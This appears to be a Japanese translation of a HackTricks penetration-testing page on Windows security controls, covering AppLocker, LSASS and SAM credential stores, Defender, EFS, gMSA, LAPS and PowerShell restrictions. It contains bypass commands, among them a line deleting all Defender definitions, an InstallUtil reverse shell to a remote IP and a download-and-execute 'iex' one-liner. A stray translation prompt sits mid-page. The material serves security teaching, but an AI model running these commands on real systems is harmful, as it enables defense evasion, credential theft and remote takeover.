hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md

22 KiB
Raw Blame History

Windows セキュリティコントロール

htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

Trickest を使用して、世界で最も進んだコミュニティツールによって動力を供給される ワークフローを簡単に構築し自動化する
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker ポリシー

アプリケーションホワイトリストは、システム上に存在し実行が許可されている承認済みソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、組織の特定のビジネスニーズに合致しない有害なマルウェアや承認されていないソフトウェアから環境を保護することです。

AppLocker は Microsoft のアプリケーションホワイトリストソリューションであり、システム管理者が ユーザーが実行できるアプリケーションとファイルを制御する 機能を提供します。実行可能ファイル、スクリプト、Windows インストーラーファイル、DLL、パッケージアプリ、パックされたアプリインストーラーに対する 細かい制御 を提供します。
組織では cmd.exe や PowerShell.exe をブロックし、特定のディレクトリへの書き込みアクセスを制限することが一般的ですが、これはすべてバイパス可能です

チェック

ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認する:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

AppLockerのルールは、ホストに適用されたものもローカルレジストリから読み取ることができます。その場所は**HKLM\Software\Policies\Microsoft\Windows\SrpV2**です。

バイパス

  • AppLockerポリシーをバイパスするための便利な書き込み可能なフォルダー: AppLockerがC:\Windows\System32C:\Windows内の任意の実行を許可している場合、書き込み可能なフォルダーを使用してこれをバイパスすることができます。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 一般的に信頼されている"LOLBAS's"バイナリはAppLockerをバイパスするのにも役立ちます。
  • 不十分に書かれたルールもバイパス可能です
  • 例えば、<FilePathCondition Path="%OSDRIVE%*\allowed*"/>では、どこかにallowedというフォルダを作成すると、それが許可されます。
  • 組織はしばしば**%System32%\WindowsPowerShell\v1.0\powershell.exe実行ファイルのブロックに注力しますが、%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exeなどの他の**PowerShell実行ファイルの場所を忘れがちです。
  • DLLの強制はほとんど有効にされていません。システムにかかる追加負荷と、何も壊れないことを保証するために必要なテストの量のためです。したがって、DLLをバックドアとして使用するとAppLockerをバイパスできます
  • ReflectivePickSharpPickを使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスできます。詳細はこちらをチェックしてください: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode

資格情報の保存

セキュリティアカウントマネージャー (SAM)

ローカルの資格情報がこのファイルに存在し、パスワードはハッシュ化されています。

ローカルセキュリティ権限 (LSA) - LSASS

資格情報(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリ保存されます。
LSAはローカルのセキュリティポリシー(パスワードポリシー、ユーザー権限など)、認証アクセストークンなどを管理します。
LSAは、ローカルログインのために提供された資格情報をSAMファイル内で確認し、ドメインユーザーを認証するためにドメインコントローラー通信します。

資格情報LSASSプロセス内に保存されますKerberosチケット、NTとLMのハッシュ、簡単に復号化されるパスワード。

LSAシークレット

LSAはディスク上にいくつかの資格情報を保存することがあります

  • アクティブディレクトリのコンピュータアカウントのパスワード(到達不能なドメインコントローラー)。
  • Windowsサービスのアカウントのパスワード
  • スケジュールされたタスクのパスワード
  • その他IISアプリケーションのパスワードなど

NTDS.dit

これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。

Defender

Microsoft DefenderはWindows 10とWindows 11、およびWindows Serverのバージョンで利用可能なアンチウイルスです。WinPEASなどの一般的なペネトレーションテストツールをブロックします。しかし、これらの保護をバイパスする方法があります。

チェック

Defender状態を確認するには、PSコマンドレット**Get-MpComputerStatusを実行します(RealTimeProtectionEnabled**の値を確認して、アクティブかどうかを知る):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

列挙するには、次のコマンドも実行できます:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS (暗号化ファイルシステム)

EFSは、対称鍵を使ってファイルを暗号化します。これはファイル暗号化キー、またはFEKとしても知られています。FEKは、ファイルを暗号化したユーザーに関連付けられた公開鍵暗号化され、この暗号化されたFEKは暗号化されたファイルの$EFS 代替データストリームに格納されます。ファイルを復号するために、EFSコンポーネントドライバは、ファイルを暗号化するために使用されたEFSデジタル証明書に対応する秘密鍵を使用して、$EFSストリームに格納された対称鍵を復号します。こちらから。

ユーザーが要求していないにも関わらず、ファイルが復号される例:

  • ファイルやフォルダは、FAT32のような別のファイルシステムでフォーマットされたボリュームにコピーされる前に復号されます。
  • 暗号化されたファイルがSMB/CIFSプロトコルを使用してネットワーク経由でコピーされる場合、ファイルはネットワークを介して送信される前に復号されます。

この方法を使用して暗号化されたファイルは、所有者ユーザー(それを暗号化した人)によって透過的にアクセスできます。したがって、そのユーザーになることができれば、ファイルを復号できます(ユーザーのパスワードを変更してログインしても機能しません)。

EFS情報を確認する

このサービス使用したユーザーがいるかどうかを確認するには、このパスが存在するかどうかを確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect

ファイルにアクセスできるを確認するには、cipher /c <file>\ を使用します。 また、フォルダ内で cipher /ecipher /d を使用して、すべてのファイルを暗号化および復号化することもできます。

EFSファイルを復号化する

権限システムである場合

この方法では、被害者ユーザーがホスト内でプロセス実行している必要があります。その場合、meterpreter セッションを使用して、ユーザーのプロセスのトークンを偽装することができます(incognitoimpersonate_tokenを使用)。または、ユーザーのプロセスにmigrateすることもできます。

ユーザーのパスワードを知っている場合

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

グループ管理サービスアカウント (gMSA)

ほとんどのインフラストラクチャでは、サービスアカウントは「パスワードの期限切れなし」オプションを持つ典型的なユーザーアカウントです。これらのアカウントを管理することは本当に大変な作業であり、そのためにMicrosoftは管理サービスアカウントを導入しました:

  • パスワード管理は不要です。240文字の複雑でランダムなパスワードを使用し、ドメインまたはコンピュータのパスワードの有効期限に達すると自動的に変更されます。
  • Microsoft Key Distribution Service (KDC)を使用してgMSAのパスワードを作成および管理します。
  • ロックアウトされることはなく、対話型ログインには使用できません
  • 複数のホストで共有をサポートします
  • スケジュールされたタスクの実行に使用できます(管理サービスアカウントはスケジュールされたタスクの実行をサポートしていません)
  • SPN管理の簡素化 - システムは、コンピュータのsAMaccountの詳細やDNS名のプロパティが変更された場合に自動的にSPN値を変更します。

gMSAアカウントは、msDS-ManagedPassword というLDAPプロパティにパスワードが格納されており、DCによって30日ごとに自動的にリセットされ、承認された管理者とそれらがインストールされているサーバーによって取得可能です。msDS-ManagedPasswordMSDS-MANAGEDPASSWORD_BLOB と呼ばれる暗号化されたデータブロブであり、接続がLDAPSで保護されている場合、または認証タイプが「シーリングセキュア」の場合にのみ取得可能です。

Image from https://cube0x0.github.io/Relaying-for-gMSA/

したがって、gMSAが使用されている場合、それが特別な権限を持っているかどうかを確認し、サービスのパスワードを読むための権限があるかどうかも確認してください。

GMSAPasswordReaderを使用してこのパスワードを読むことができます:

/GMSAPasswordReader --AccountName jkohler

以下は、NTLMリレー攻撃を使用してgMSAパスワード読み取る方法についてのウェブページを確認してください。

LAPS

ローカル管理者パスワードソリューションLAPSは、ドメイン参加コンピュータ上のローカル管理者パスワード(ランダム化され、ユニークで、定期的に変更される)を管理することを可能にします。これらのパスワードはActive Directoryに中央集権的に格納され、ACLを使用して承認されたユーザーに制限されます。十分な権限が与えられた場合、ローカル管理者のパスワードを読み取ることができるかもしれません。

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS 制約言語モード

PowerShellの制約言語モードは、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなど、PowerShellを効果的に使用するために必要な多くの機能を制限します

チェック

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

バイパス

#Easy bypass
Powershell -version 2

現在のWindowsではそのBypassは機能しませんが、PSByPassCLMを使用できます。
コンパイルするには 参照を追加 -> 参照 -> 参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll を追加し、プロジェクトを.Net4.5に変更する必要があります

直接バイパス:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

リバースシェル:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

以下は、Windowsの強化に関するハッキング技術についてのハッキング書籍の内容です。関連する英語のテキストを日本語に翻訳し、まったく同じマークダウンおよびHTML構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。

ReflectivePickSharpPick を使用して、任意のプロセスで Powershell コードを実行し、制約モードをバイパスすることができます。詳細はこちらをチェックしてください: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS 実行ポリシー

デフォルトでは restricted に設定されています。このポリシーをバイパスする主な方法:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

以下に詳細がありますこちら

セキュリティサポートプロバイダインターフェース (SSPI)

ユーザーを認証するために使用できるAPIです。

SSPIは、通信を希望する2台のマシンに適切なプロトコルを見つける責任があります。このための優先的な方法はKerberosです。次に、SSPIは使用される認証プロトコルを交渉します。これらの認証プロトコルはセキュリティサポートプロバイダ(SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、両方のマシンが同じものをサポートしていなければ通信することができません。

主なSSP

  • Kerberos: 優先されるもの
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1NTLMv2: 互換性のため
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: WebサーバーとLDAP、MD5ハッシュ形式のパスワード
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSLとTLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: 使用するプロトコルKerberosまたはNTLM、デフォルトはKerberosを交渉するために使用されます
  • %windir%\Windows\System32\lsasrv.dll

交渉では複数の方法または1つの方法のみが提供されることがあります。

UAC - ユーザーアカウント制御

ユーザーアカウント制御 (UAC) は、昇格された活動に対する同意プロンプトを有効にする機能です。

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Trickestを使用して、世界で最も先進的なコミュニティツールによって動力を得たワークフローを簡単に構築し自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)で AWS hackingをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法